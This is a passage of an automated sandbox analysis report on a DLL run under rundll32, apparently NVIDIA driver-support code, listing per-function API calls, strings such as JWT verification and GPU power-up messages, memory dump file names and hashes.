Opcode ID: 7fbcd51417c2ce944dd4776cb225de7be85ad73448ec72368c4d622f86bfed91
Instruction ID: fd256d29dd2a220bc12ef604a753cb9bf22caca1922b5d7fc236c7284388e030
Opcode Fuzzy Hash: 7fbcd51417c2ce944dd4776cb225de7be85ad73448ec72368c4d622f86bfed91
Instruction Fuzzy Hash: 9BE18E32A0AB81AAE754DF35E8403ED77A4FB49388F404235EA9C57B55EF38E168C714

Function 00007FF8A8D2C180 Relevance: 19.7, APIs: 8, Strings: 3, Instructions: 413registrycomCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32 ref: 00007FF8A8D2C21C
StringFromGUID2.OLE32 ref: 00007FF8A8D2C2CB
RegQueryInfoKeyW.ADVAPI32 ref: 00007FF8A8D2C41F
RegCloseKey.ADVAPI32 ref: 00007FF8A8D2C430
RegQueryInfoKeyW.ADVAPI32 ref: 00007FF8A8D2C568
RegCloseKey.ADVAPI32 ref: 00007FF8A8D2C579
RegCloseKey.ADVAPI32 ref: 00007FF8A8D2C5A3
RegCloseKey.ADVAPI32 ref: 00007FF8A8D2C5B0

Part of subcall function 00007FF8A8CFE290: GetModuleHandleW.KERNEL32 ref: 00007FF8A8CFE2C3
Part of subcall function 00007FF8A8CFE290: GetProcAddress.KERNEL32 ref: 00007FF8A8CFE2D8

Strings

\Implemented Categories, xrefs: 00007FF8A8D2C4D2
\Required Categories, xrefs: 00007FF8A8D2C366
CLSID\, xrefs: 00007FF8A8D2C2E4, 00007FF8A8D2C45E

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Close$InfoQuery$AddressCreateFromHandleInstanceModuleProcString
String ID: CLSID\$\Implemented Categories$\Required Categories
API String ID: 2927819212-4092563799
Opcode ID: 8854d937e459bdcea6ecb079211e8498e5b1a390fea664733db5c66b64342e8a
Instruction ID: 2825892968a71067a6de45149e0120fcc58e3eed4a8cdd06a58ac43b701ef0e5
Opcode Fuzzy Hash: 8854d937e459bdcea6ecb079211e8498e5b1a390fea664733db5c66b64342e8a
Instruction Fuzzy Hash: 9F02D535A0A746A1FB64DB65E4402BD23A1FF447C4F140136DB5D47AA8EF3CE858CB29

Function 00007FF8A8D75780 Relevance: 17.9, APIs: 4, Strings: 6, Instructions: 371COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7584E

Part of subcall function 00007FF8A8D2E228: _Init_thread_footer.LIBCMT ref: 00007FF8A8D2E2EB

Strings

Failed to validate client configuration token, xrefs: 00007FF8A8D75C12
verifySignature, xrefs: 00007FF8A8D758B5, 00007FF8A8D75B6E, 00007FF8A8D75C8D, 00007FF8A8D75D7C
GridCommonUtils.cpp, xrefs: 00007FF8A8D7588D, 00007FF8A8D75B43, 00007FF8A8D75C62, 00007FF8A8D75D51
Failed to decode signature from token received, xrefs: 00007FF8A8D75AF3
Failed to allocate memory, xrefs: 00007FF8A8D7583B
Failed to process JWT token, xrefs: 00007FF8A8D75D01

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Init_thread_footerswprintf
String ID: Failed to allocate memory$Failed to decode signature from token received$Failed to process JWT token$Failed to validate client configuration token$GridCommonUtils.cpp$verifySignature
API String ID: 732731317-307524478
Opcode ID: 60f0a91414a4c17a35b2dc9e685243dc3246e9d4e4b541b4ace639f51f741c86
Instruction ID: 03ae25d7654281f47eda812a8dfdeb73205fe788430bde343f895c7acd88e9ef
Opcode Fuzzy Hash: 60f0a91414a4c17a35b2dc9e685243dc3246e9d4e4b541b4ace639f51f741c86
Instruction Fuzzy Hash: 84025132A0AB82A5FB20DB65E4406ED77B4FB85388F800135DA5D57B99EF3CE119CB14

Function 00007FF8A8D737C0 Relevance: 16.1, APIs: 3, Strings: 6, Instructions: 336COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D739DA

Part of subcall function 00007FF8A8D2E228: _Init_thread_footer.LIBCMT ref: 00007FF8A8D2E2EB

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D73C70

Strings

Could not fetch value for service instance public key, xrefs: 00007FF8A8D73B81
Failed to decode payload, xrefs: 00007FF8A8D739CA
GridCommonUtils.cpp, xrefs: 00007FF8A8D73A19, 00007FF8A8D73BCD, 00007FF8A8D73CAC
getPublicKey, xrefs: 00007FF8A8D73A41, 00007FF8A8D73BF7, 00007FF8A8D73CD6
"service_instance_public_key_pem":", xrefs: 00007FF8A8D73AE3
Failed to process JWT token, xrefs: 00007FF8A8D73C60

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: swprintf$Init_thread_footer
String ID: "service_instance_public_key_pem":"$Could not fetch value for service instance public key$Failed to decode payload$Failed to process JWT token$GridCommonUtils.cpp$getPublicKey
API String ID: 2214013052-3729035618
Opcode ID: 7e758ee033a478cd587704f63f01072de100f83d3495ce6fd29ae4bce839deb4
Instruction ID: 6c7370bb5e03b2ec43459ed03fe4211260f651bb840326f10e3e75e88933582e
Opcode Fuzzy Hash: 7e758ee033a478cd587704f63f01072de100f83d3495ce6fd29ae4bce839deb4
Instruction Fuzzy Hash: 47E17D32A1AB92A9FB149B64E8403ED77A4FB453C8F840136DA5D53B99EF3CD109C724

Function 00007FF8A8D56B7C Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 138fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF8A8D56BC2
DeviceIoControl.KERNEL32 ref: 00007FF8A8D56CD0
CloseHandle.KERNEL32 ref: 00007FF8A8D56DB8

Part of subcall function 00007FF8A8D2E228: _Init_thread_footer.LIBCMT ref: 00007FF8A8D2E2EB

Strings

PowerOnDGpu, xrefs: 00007FF8A8D56C2F, 00007FF8A8D56C3E, 00007FF8A8D56D3A, 00007FF8A8D56D49
Failed to open NvPciFilter driver interface, xrefs: 00007FF8A8D56C57
\\.\nvpciflt, xrefs: 00007FF8A8D56BBB
9, xrefs: 00007FF8A8D56D99
NVIDIA_NVPCIFLT_IOCTL_POWERUP_GPU failed, xrefs: 00007FF8A8D56D62
ZeroPowerOnBootUtil.cpp, xrefs: 00007FF8A8D56C03, 00007FF8A8D56C12, 00007FF8A8D56D0E, 00007FF8A8D56D1D

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandleInit_thread_footer
String ID: 9$Failed to open NvPciFilter driver interface$NVIDIA_NVPCIFLT_IOCTL_POWERUP_GPU failed$PowerOnDGpu$ZeroPowerOnBootUtil.cpp$\\.\nvpciflt
API String ID: 4084529720-463136028
Opcode ID: bbb467a6571d8433b9d5e4c1975cbd9dc0dba2bcc6484821e55f6f00760f6908
Instruction ID: 5aae491dc1ed41b02a01f7d8122d7b57f0b44d6e58a310e3ede4e08e0233ab88
Opcode Fuzzy Hash: bbb467a6571d8433b9d5e4c1975cbd9dc0dba2bcc6484821e55f6f00760f6908
Instruction Fuzzy Hash: B5611F72A0AB01E9E711DFA0E4501ED33B4FB45398F801636EA5D17BA9EF38D219C758

Function 00007FF8A8D72200 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 299COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D723E3
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D724C5

Part of subcall function 00007FF8A8D2E228: _Init_thread_footer.LIBCMT ref: 00007FF8A8D2E2EB

Strings

Invalid base64 char conversion %c, xrefs: 00007FF8A8D723D3
Invalid state in base64, xrefs: 00007FF8A8D724B5
Base64 target buffer too small, xrefs: 00007FF8A8D72597
GridCommonUtils.cpp, xrefs: 00007FF8A8D72422, 00007FF8A8D72502, 00007FF8A8D725E4
base64Decode, xrefs: 00007FF8A8D72449, 00007FF8A8D7252B, 00007FF8A8D7260D

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: swprintf$Init_thread_footer
String ID: Base64 target buffer too small$GridCommonUtils.cpp$Invalid base64 char conversion %c$Invalid state in base64$base64Decode
API String ID: 2214013052-3687260524
Opcode ID: 06f17cfdf99209c0d11bf88da801afd0ece1d720c5b23629c5c04ba441876928
Instruction ID: 0e5c68f231f6e27a7027b4563e4185d59a0f588b95de3da576b2f04b19fb9c75
Opcode Fuzzy Hash: 06f17cfdf99209c0d11bf88da801afd0ece1d720c5b23629c5c04ba441876928
Instruction Fuzzy Hash: 2AD19532A0AB82A9F710CB64E4403ED77A4FB45394F90013AD69E07BA5EF3CE559CB14

Function 00007FF8A8DE4A20 Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 329timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF8A8DE4A5B

Part of subcall function 00007FF8A8DE44A4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF8A8DE44B8

_get_daylight.LIBCMT ref: 00007FF8A8DE4A4A

Part of subcall function 00007FF8A8DE4504: _invalid_parameter_noinfo.LIBCMT ref: 00007FF8A8DE4518

_get_daylight.LIBCMT ref: 00007FF8A8DE4C4B
_get_daylight.LIBCMT ref: 00007FF8A8DE4C5C
_get_daylight.LIBCMT ref: 00007FF8A8DE4C6D
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF8A8DE4EA1), ref: 00007FF8A8DE4C94

Strings

?, xrefs: 00007FF8A8DE4D66

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$InformationTimeZone
String ID: ?
API String ID: 435049134-1684325040
Opcode ID: 3ba54a54f64e311380a596a5b8c13d47f214089bdc2c0bf900aca5c65f45a280
Instruction ID: c18b5499501c0044e9b05a70d309f9befe88a67c64098191d4a607ecb9ff2cca
Opcode Fuzzy Hash: 3ba54a54f64e311380a596a5b8c13d47f214089bdc2c0bf900aca5c65f45a280
Instruction Fuzzy Hash: C0D1F632A0AA46AFE7509F21D8402B93F96FF447D8F444131EA6D47696EF3CE845C728

Function 00007FF8A8D069A0 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 246COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8A8D0EA24: std::_Deallocate.LIBCONCRT ref: 00007FF8A8D0EA6E

Part of subcall function 00007FF8A8D060EC: std::current_exception.LIBCMT ref: 00007FF8A8D06119

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00007FF8A8D06D16

Part of subcall function 00007FF8A8D9CA10: std::ios_base::_Tidy.LIBCPMT ref: 00007FF8A8D9CA35

Part of subcall function 00007FF8A8D0E0A4: std::_Deallocate.LIBCONCRT ref: 00007FF8A8D0E0FC

Part of subcall function 00007FF8A8D0E194: std::_Deallocate.LIBCONCRT ref: 00007FF8A8D0E1F0

Strings

function, xrefs: 00007FF8A8D06BA1, 00007FF8A8D06BB0
msg, xrefs: 00007FF8A8D06AD9, 00007FF8A8D06AE8
line, xrefs: 00007FF8A8D06C42, 00007FF8A8D06C51
file, xrefs: 00007FF8A8D06BEE, 00007FF8A8D06BFD
origin, xrefs: 00007FF8A8D06B54, 00007FF8A8D06B63
timestamp, xrefs: 00007FF8A8D06A69, 00007FF8A8D06A78

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Deallocatestd::_$std::ios_base::_$Ios_base_dtorTidystd::current_exception
String ID: file$function$line$msg$origin$timestamp
API String ID: 3875769080-4102175642
Opcode ID: 461f2c2ad81ed990861590079a5a549b510804d5c2a481b745797e54b5d529a6
Instruction ID: a4ac5d2690f534e228157751a62fd11899c5d64c8a06888c2d3c4aadd8f8ab58
Opcode Fuzzy Hash: 461f2c2ad81ed990861590079a5a549b510804d5c2a481b745797e54b5d529a6
Instruction Fuzzy Hash: 35B18132626A92AADB10EF25EC515ED3360FF413D8F802131FA2E43A99DF39D558C358

Function 00007FF8A8D070EC Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 189registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8A8D03FD4: RegQueryValueExW.ADVAPI32 ref: 00007FF8A8D04029

Part of subcall function 00007FF8A8D0EA24: std::_Deallocate.LIBCONCRT ref: 00007FF8A8D0EA6E

RegQueryValueExW.ADVAPI32 ref: 00007FF8A8D07371

Part of subcall function 00007FF8A8D073C4: CreateFileW.KERNEL32 ref: 00007FF8A8D074C7
Part of subcall function 00007FF8A8D073C4: CloseHandle.KERNEL32 ref: 00007FF8A8D0751E

Strings

AppendProcessNameToPathPrefix, xrefs: 00007FF8A8D071F0, 00007FF8A8D071FF
MaxFileCount, xrefs: 00007FF8A8D07286, 00007FF8A8D07295
MaxFileSize, xrefs: 00007FF8A8D072D0, 00007FF8A8D072DF
WriteThrough, xrefs: 00007FF8A8D07321, 00007FF8A8D07330
PathPrefix, xrefs: 00007FF8A8D0716E, 00007FF8A8D0717D

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: QueryValue$CloseCreateDeallocateFileHandlestd::_
String ID: AppendProcessNameToPathPrefix$MaxFileCount$MaxFileSize$PathPrefix$WriteThrough
API String ID: 634952362-2621746944
Opcode ID: 4decc1ef81a76709185ad96e1a7e39947b39d8f0209d5821278beaa937307f06
Instruction ID: a96765b41e69bee5f70cc77ad5942a759e78baf53b564563c82dc7501ae2db37
Opcode Fuzzy Hash: 4decc1ef81a76709185ad96e1a7e39947b39d8f0209d5821278beaa937307f06
Instruction Fuzzy Hash: 7681CD32B1AA42AAFB10EB61E8411EC3371FB457D8F802131DE2D57A95DF3D9219C358

Function 00007FF8A8CFEA34 Relevance: 10.6, APIs: 7, Instructions: 124libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00007FF8A8CFEA86
LoadLibraryExW.KERNEL32 ref: 00007FF8A8CFEAA2
FindResourceW.KERNEL32 ref: 00007FF8A8CFEACA
LoadResource.KERNEL32 ref: 00007FF8A8CFEAE8
SizeofResource.KERNEL32 ref: 00007FF8A8CFEB01

Part of subcall function 00007FF8A8CFE158: GetLastError.KERNEL32 ref: 00007FF8A8CFE15C

FreeLibrary.KERNEL32 ref: 00007FF8A8CFEBCB

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: LibraryLoadResource$ErrorFindFreeLastSizeof
String ID:
API String ID: 1885110938-0
Opcode ID: 5aa32985baf624cca8e7ff9a0fdc72fa29bc6c7aff20572481ecca569b5f52a8
Instruction ID: d10f816a6a5706b13ddd9ea391857e19630a1fef90ccb16b281166ae3a0a036a
Opcode Fuzzy Hash: 5aa32985baf624cca8e7ff9a0fdc72fa29bc6c7aff20572481ecca569b5f52a8
Instruction Fuzzy Hash: 01417731B0EB42A2FB50AB19A44026A73D1FF85BD0F144235DA5E47BA4EF7CE8558B18

Function 00007FF8A8D19E64 Relevance: 10.2, Strings: 8, Instructions: 198COMMONLIBRARYCODE

Download Yara Rule

Strings

last, xrefs: 00007FF8A8D1A02C, 00007FF8A8D1A03B
first, xrefs: 00007FF8A8D19EC9, 00007FF8A8D19ED8
fifth, xrefs: 00007FF8A8D19FE5, 00007FF8A8D19FF4
fourth, xrefs: 00007FF8A8D19F9E, 00007FF8A8D19FAD
before, xrefs: 00007FF8A8D1A073, 00007FF8A8D1A082
after, xrefs: 00007FF8A8D1A0BA, 00007FF8A8D1A0C9
second, xrefs: 00007FF8A8D19F10, 00007FF8A8D19F1F
third, xrefs: 00007FF8A8D19F57, 00007FF8A8D19F66

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Deallocatestd::_
String ID: after$before$fifth$first$fourth$last$second$third
API String ID: 1323251999-549961694
Opcode ID: 51c0320c9ecd296dbe28aa3bbaaf7859e52e22885190c7b5b4c29b4abe3a7bf4
Instruction ID: 8dd7128a6fdc85f06331599dbd398b3f067d2ff6f5f821c1fadc34f33efbc416
Opcode Fuzzy Hash: 51c0320c9ecd296dbe28aa3bbaaf7859e52e22885190c7b5b4c29b4abe3a7bf4
Instruction Fuzzy Hash: 5A812F32A26622A4FB00FBB5EC514EC2374FF557C8F802535EA1E67AA5DF399508C358

Function 00007FF8A8CFEDE0 Relevance: 9.3, APIs: 6, Instructions: 341stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?,?,?,00000000,?,?,00000000,00007FF8A8CFFEFA,?,?,00000000,?,00007FF8A8CFF9FF,?,00000000), ref: 00007FF8A8CFEF32

Part of subcall function 00007FF8A8D96700: EnterCriticalSection.KERNEL32 ref: 00007FF8A8D96710

_Init_thread_footer.LIBCMT ref: 00007FF8A8CFEF01

Part of subcall function 00007FF8A8D966A0: EnterCriticalSection.KERNEL32 ref: 00007FF8A8D966B0
Part of subcall function 00007FF8A8D966A0: LeaveCriticalSection.KERNEL32 ref: 00007FF8A8D966F0

Part of subcall function 00007FF8A8CFE0A4: _CxxThrowException.LIBVCRUNTIME ref: 00007FF8A8CFE0C0
Part of subcall function 00007FF8A8CFE0A4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF8A8CFE13B

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
